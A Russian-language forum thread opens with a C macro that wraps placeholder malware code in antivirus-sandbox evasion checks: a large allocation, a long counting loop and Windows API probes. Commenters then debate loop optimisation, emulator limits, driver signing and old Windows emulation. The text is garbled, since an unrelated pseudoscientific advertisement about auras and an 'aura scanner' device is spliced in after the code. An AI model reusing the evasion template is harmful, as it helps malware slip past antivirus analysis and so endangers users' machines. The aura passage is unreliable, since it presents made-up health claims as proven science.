- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
#define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
#define BYPASS_AV_END }}}}}
int main()
{
BYPASS_AV_BEGIN
//malware code...
BYPASS_AV_END
}
Много жизненной энергии аккумулируется.
Малость оргонными аккумуляторами являются.
Что такое аура?
Научно и практически доказано, что человек – многомерная структура, и физическое тело – это лишь первая, самая плотная оболочка. Физическое тело человека окружено электромагнитным полем (ЭП), часто называемым аурой. «Аура» (лат. «aura» — 1) дуновение ветерка, воздушное пространство, небеса; 2) свет).
Аура не имеет четких границ и проникает в каждую клетку тела, отражая ее характеристики на тонких полевых уровнях. Аура есть сложное химическо-электромагнитное овальное облако, которое окружает среднестатистического человека на расстоянии около пяти сантиметров от его плеч. Другими словами, аура - это энергоинформационное поле человека. В нем отражается не только состояние физического тела, но и психоэмоциональное состояние человека и его кармическое поле.
Аурическая оболочка подвижная, ее размер, форма и плотность меняется от физической, эмоциональной и мыслительной деятельности человека. Аура может рассказать нам все о внутренней сущности человека.
Принцип действия
Прибор А-скан является бюджетной альтернативой ГРВ-камеры. От типа разряда зависит вид и качество снимка. Действие А-скан основано на высоковольтных импульсных разрядах низкой частоты. Прибор А-скан регистрирует слабые электромагнитные поля человека и способен регистрировать как минимум три аспекта электромагнитного поля, окружающего и пронизывающего физическое тело человека.
Тестируемый палец ставится в центре электродной пластины. Коротким нажатием (1 сек.) кнопки START активируется поле прибора, входящее в контакт с полем человека, в результате чего на электродной пластине остается статический отпечаток. Проявляется снимок с
Отпечаток ауры будет полезен всем, кто стремится к самопознанию и самосовершенствованию, а также просто следит за здоровьем своим и своих близких.
Бля, и не поспоришь ведь!
Эм, чтобы опилки спекались? Как в когерере.
Одно время нам в почтовые ящики забрасывали листовки какого-то «Центра уникальных товаров» с рекламой подобной хрени.
Всегда ношу мысль в голове, вирусы и антивирусы пишут в одной и той же лаборатории одни и те же люди.
Не выпиливает цикл, если счётчик или переменную, изменяемую в цикле, объявить с атрибутом volatile. Например, так: Или так:
Ещё у гцц можно локально менять значение параметра оптимизации, но только для функций. Если объявить функцию с __attribute__ (( optimize("O0") )) или с #pragma GCC optimize ("O0"), то тело функции не будет оптимизировано.
Собственно, нужно это либо для этого вашего MMIO (только в теории и во во всякой там контроллерушне), либо для (убогой) синхронизации между тредами.
https://en.cppreference.com/w/cpp/atomic/atomic_thread_fence
https://en.cppreference.com/w/cpp/atomic/memory_order
Я, кстати, за «Winapi»: SRW-локи круты.
https://docs.microsoft.com/en-us/windows/win32/sync/slim-reader-writer--srw--locks
Ага. Работу с ФС в недавних стандартах вроде уже подвезли, осталось дождаться нативной сети — и ух как заживём!..
> SRW
Это когда у тебя много раз читается, а пишется редко. Главный профит — практически нулевая стоимость read-only лока: там, ЕМНИП, просто атомарно счётчик инкрементится. Критические секции остались — куда ж они с подводной лодки-то денутся…
Про фьюфью глянул — не, это сложнее. SRW просты как пень.
Да, именно так. А обычные мутексы лок на рид/райт не делят и тормозят.
volatile нужен в джвух случаях - общие переменные с обработчиком прерывания и общение с железками. Т.е. прикладнику он нужен *чуть реже чем никогда* (кроме позикс сигналов и setjmp, пожалуй).
Для тредов он бесполезен т.к. во-первых не даёт happens before в отличие от тех же атомиков и мутексов, в которые встроен нужный барьер, а во-вторых слишком жёстко убивает оптимизации.
Ну и asm volatile (... "memory") для особо тяжёлых случаев.
А как же задержки в игрушках через пустой цикл?
Кстати, помнишь, из-за чего программы, написанные на «Борманд Паскале», вылетают с ошибкой № 200 (деление на ноль) на процессорах с частотой выше ≈ 300 МГц (да, смешная частота по нынешним меркам)?
Полагаю, потому что какой-то таймер делил на прошеднее с последнего кадра время, которое оказывалось меньше 1 миллисекунды?
В «Quake engine», кстати, есть забавный багор: часть вычислений физики зависит от фпса, в частности, высота/дальность прыжков. На 333 фпс, например, прыжки получаются медленными и высокими, а на 250 — быстрыми и низкими.
Есть гипотезы, почему x86 вываливает ошибку «деление на ноль»?
Через некоторое время я напишу правильный ответ. Для незнакомых с рахит-тинктурой x86 он будет неожиданным.
Багор в том, что под частное выделили слишком мало битов, а именно в 2 раза меньше, чем под делимое.
Если я попытаюсь поделить 32768 на 64, используя инструкцию с 16-битным делимым и 8-битным делителем, то получу нелепое сообщение «Деление на ноль», потому что частное (512) не влезло в 8 бит.
Модуль Crt стандартной библиотеки «Турбо Паскаля» из блока инициализации вызывает процедуру, которая рассчитывает константу, необходимую для реализации задержек пустыми циклами. Эта процедура гоняет эталонный пустой цикл и подсчитывает, сколько итераций он успел выполнить за один тик системного таймера, а именно за 55 миллисекунд.
Поскольку процедура Delay принимает аргумент в миллисекундах, нас интересует, сколько итераций пустого цикла нужно сделать, чтобы получить задержку в одну миллисекунду. Для этого значение счётчика, полученное на предыдущем шаге, нужно разделить на 55.
И именно при делении случается багор. Когда процессоры были более медленными, результат деления влезал в 16 бит. Например, 100-мегагерцовый процессор за 55 мс успеет сделать 5 500 000 тактов. Пусть одна итерация цикла отнимает 5 тактов, тогда счётчик равен 1 100 000, делим на 55 и получаем 20 000 — в 16 бит влезает. В «Борланде» решили, что этого достаточно.
А потом появились более быстрые процессоры, у которых результат деления превышает 65536, хотя делимое в 32 бита спокойно влезает.
§ 6.9.1, 7
И да, в «C++» переменных в регистрах не бывает.
Этот код работает в «C++», но невалиден и не работает в «C».
#define register
+ без анскильных
А если серьёзно, то меня тоже интересует сравнение «Постфикса» с «Экзимом».
Вот так?
штука с ЦЫклом тоже не прокатит. Сделайте лучше рандом, но частый.
Вот весело будит, когда проактивка станет ловить вирь через раз ^_^
Какой баrop, прости, господи.
Пиздеж и провокация.
Во-первых, он не знает про volatile — рабочий инструмент любого околонизкоуровневого пердолика.
Во-вторых, он написал какую-то шизу про цикл: «На деле задержек из-за цикла не будет ибо это простая инструкция для процессора и на оборот для санбокса антивиря». В какую «простую» инструкцию превращается цикл, он так и не показал. Почему «простая» инструкция для процессора окажется сложной для виртуальной машины антивируса, он, конечно же, объяснять не стал.
В клирнете? На сайте в зоне «.org»? С энтерпрайзным сертификатом? Со ссылкой на ёбанный «ВКонтакте» в профиле? Это не «хакерская тусофка», это просто сборище тупых школьников, которое содержит школьник поумнее. Никаких Чаппелов и Руссиновичей там нет и быть не может.
По сути переменная с директивой volatile — это уже не чистая переменная, а неизвестная компилятору функция времени, поэтому он не может произвести вычисления «в уме» и выкинуть цикл.
То есть сишные и крестовые категории — это костыли, подобные тем, которые расставляли в декларативных языках.
Вздохнули, пожаловались на несовершенство мира и запилили процедуры IO-монады: https://www.haskell.org/tutorial/io.html, хорошенько огородив их от уютного чистого фп-мирка. Здравое, в общем-то, решение: фанатизм ещё никого до добра не доводил.
А аллок тут один.
>> Окончание блокировки: Никогда
Чувак для «Лолзтима» оказался большой проблемой.
Попытаюсь понять его точку зрения. Допустим, взяли не его код, а код с volatile и с честным циклом. Допустим также, что у мумулятора нет такого крутого статического анализатора, как у компилятора, но, тем не менее, циклы он детектировать умеет. Мы же можем заметить, что происходят регулярные прыжки назад по одному и тому же адресу? Чтобы решить проблему останова, мумулятор ограничивает количество итераций каким-то числом, настолько большим, чтобы не портить логику типичной программы, но не слишком большим, чтобы не тратить много времени на анализ. Либо ограничивает время мумуляции цикла. В любом случае рвёт огромный цикл, так что до ста миллионов итераций не доходит.
Но тогда получается, что такой честный цикл и для проца должен создать проблему. Да, тело маленькое, влезает в кэш, в конвейер, декодер инструкций и предиктор переходов не загружены лишней работой, но всё равно 100 миллионов — это немало. Хотя на современных процессорах задержка будет чуть меньше секунды, а мумулятор обычно медленнее нативного исполнения кода.
Может быть, дело в том, что для пользовательской программы с UI задержка в секунду на старте — обычное дело (всякие «фотошопы» и «офисы» вообще могут несколько секунд показывать «splash screen»), так что пользователь ничего не заметит, а для мумулятора это непозволительно?
Ничего, как и любой хайп, «AI»-мания скоро сойдёт на нет. Кто сейчас про блокчейны помнит, кроме парочки ебанутых и ещё парочки тех, кому они действительно нужны? Вот и с говносетями так же будет.
Впрочем, на место одного хайпа придёт другой — и с этим ничего не поделаешь. Будем охуевать от каких-нибудь квантовых сопроцессоров (хотя и вряд ли, слишком медленно отрасль развивается, хипстота такого не любит).
Это про пользователей? Дыр в безопасности шире этой не существует.
> все чуваки получали ключ от MS для распостранения программ
Фу, говнище какое. Ещё после этого можно выпускать клавиатуры со считывателем магнитной полосы, чтобы можно было раз в 5 минут оплачивать подписку на компьютер-как-сервис.
Или запретить вводить любые тексты, которые противоречат текущим представлениям науки (в этом случае невозможно будет написать на таком компьютере целый класс статей, принятых наукой будущего).
Что за говно? Windows уже испохабили пару лет назад и ввели неотключаемую проверку подписей драйверов согласно захардкоженным сертификатам. Стоп ит!
Это говно, тупиковый путь. Только то, что MS доверило какому-то пидриле запускать его программу, не даёт каких-либо гарантий качества этой программы. И если кому-то не доверило - нельзя сказать, что программа - говно с вирусами.
Единственный адекватный путь до появления ИИ, который сможет понять суть программы - песочницы и эмуляторы. Хочет программа срать - эмулятор подставляет ей аналог китайской циклической флешки на терабайт с гайкой для груза. А потом чтоб можно было смотреть диффы и мёрджить состояния до и после работы программы (полу)автоматическими средствами ОС, фильтруя откровенное говно. Хочет сливать данные - подставляем фейковый жёсткий диск Джона Доу.
То есть как в Андроиде, только по умолчанию ограничений нет, все возможности эмулируются.
Вон, регулярно раздаются голоса со стороны параши публикуются статьи о том, как очередное приложение удолили из аппстора/гуглплея/хром маркета просто потому, что какая-то ёбанная хипстерская нейросеть выдала false positive. И техподдержке на такие вещи глубоко похуй — бабосы мутятся, статьи про «крутые» ML-алгоритмы крутятся, что ещё для счастья надо?..
А ещё регулярно пишутся торжественные статьи об удалении из аппстора/гуглплея/хром маркета очередного маскировавшегося и сливавшего инфу троянца. То, что его уже скачали десятки/сотни тысяч пользователей — ну, это сугубо рабочий момент.
И нахуя такая иллюзия защиты вообще нужна?
Выпустить какую-нибудь подписанную вредоносную питушню часто проще, чем вырваться из песочницы. Например, в каком-то плее делают сначала нормальное приложение в одной стране, получают хорошие отзывы, а затем выпускают вредоносную хрень как перевод для другой страны.
Прозрачная песочница почти не ограничивает пользователя, а работает надёжнее подписей.
Нет. Банально старые драйверы, у которых подпись была сделана не по новому канону (или протухла?).
Раньше такие драйверы можно было самому подписать (доступно только для продвинутых пользователей, которые просто так babi_ebutsa.mpg.exe не установят), но это перестало работать, когда на список правильных сертификатов нельзя стало повлиять добавлением в хранилище доверенных.
Кстати, это же делает винду неюзабельной в тот момент, когда протухнут эти сертификаты? Или подпись действует после протухания сертификата, им просто нельзя после этого подписывать что-то новое?
Как тогда использовать винду на промышленных установках, где компьютер один раз запустили и больше не обновляют софт?
This.
> старые драйверы
А для дров, подписанных до определённой даты, там костыль есть. Поэтому они работают и без подписи мс.
Мне пришлось отключать «secure boot», чтобы проверить «NTVDMx64» на 64-битной «Windows 8.1». «NTVDMx64» пытается хукнуть несколько функций «WinAPI», а «Windows» при включенном «secure boot» не даёт этого сделать.
https://github.com/leecher1337/ntvdmx64
Я также рассказывал про то, что 16-битные приложения «Windows» нельзя запустить из 64-битной «Windows», хотя 32-битные приложения запустить можно, и 16-битные сегменты защищённого режима создавать можно. Причина как минимум в том, что из-за неразвитости 16-битного WinAPI 16-битные приложения используют прерывания «DOS». Например, функций findfirst/findnext в 16-битном WinAPI нет, их приходится доставать через интерфейс «DOS». Так что помимо загрузчика формата «NE» и соответствующих DLL потребуется ещё эмулировать DPMI — интерфейс защищённого режима к прерываниям «DOS».
Так вот энтузиасты таки реализовали среду для запуска 16-битных приложений из 64-битных «Windows»:
https://github.com/otya128/winevdm
Однако, нативным способом реализовать его всё равно не удалось:
Из-за отсутствия возможности через WinAPI в 64-битных «Windows» менять LDT (а нам это необходимо, поскольку в 16-битных «Windows» модель памяти не «flat», а сегментированная) авторы всё-таки решили использовать эмулятор процессора, как в «NTVDMx64» (там эмулятор понадобился из-за невозможности создать сегмент режима «V86» из «длинного» режима 64-битного процессора).
Однако, кому-то хочется запуска программ одним кликом. В «Windows» же нет шебанга /etc/magic и нельзя настроить так, чтобы досовские файлы обрабатывались «Досбоксом».
Кому-то хочется более тесного взаимодействия с системой. Ну чтобы 16-битные приложения работали так же, как и родные приложения системы.
> взаимодействия с системой
Как часто ты юзаешь 16-битные приложения под винду? По-моему и в виртуалке норм.
Что логично, т.к. они там 100500 раз поменяли структуру каталогов студии за эти годы.
Итого:
1. Реестр распухает.
2. VSLauncher с каждой новой версией тоже распухает.
Что ни говори, а аббревиатуры и подобное говно - зло.
По ним никак не поймёшь, о чём речь, а также существуют коллизии.
Особенно - в названиях придурошных ИТ-технологий вроде MVC или WCT, которые выеденного яйца не стоят, а уже зовутся громким именем.
А высосанного через трубочку - стоят?
По какой-то причине заглох. Вероятно, из-за того, что для запуска типичного линуксового приложения тонкой прослойкой не обойтись.
Кстати, что побудило создать WSL-2?
Более тупого подхода к безопасности и придумать нельзя.
Ну вот, теперь всё в порядке и дочь ночи Мойра допряла свою нить...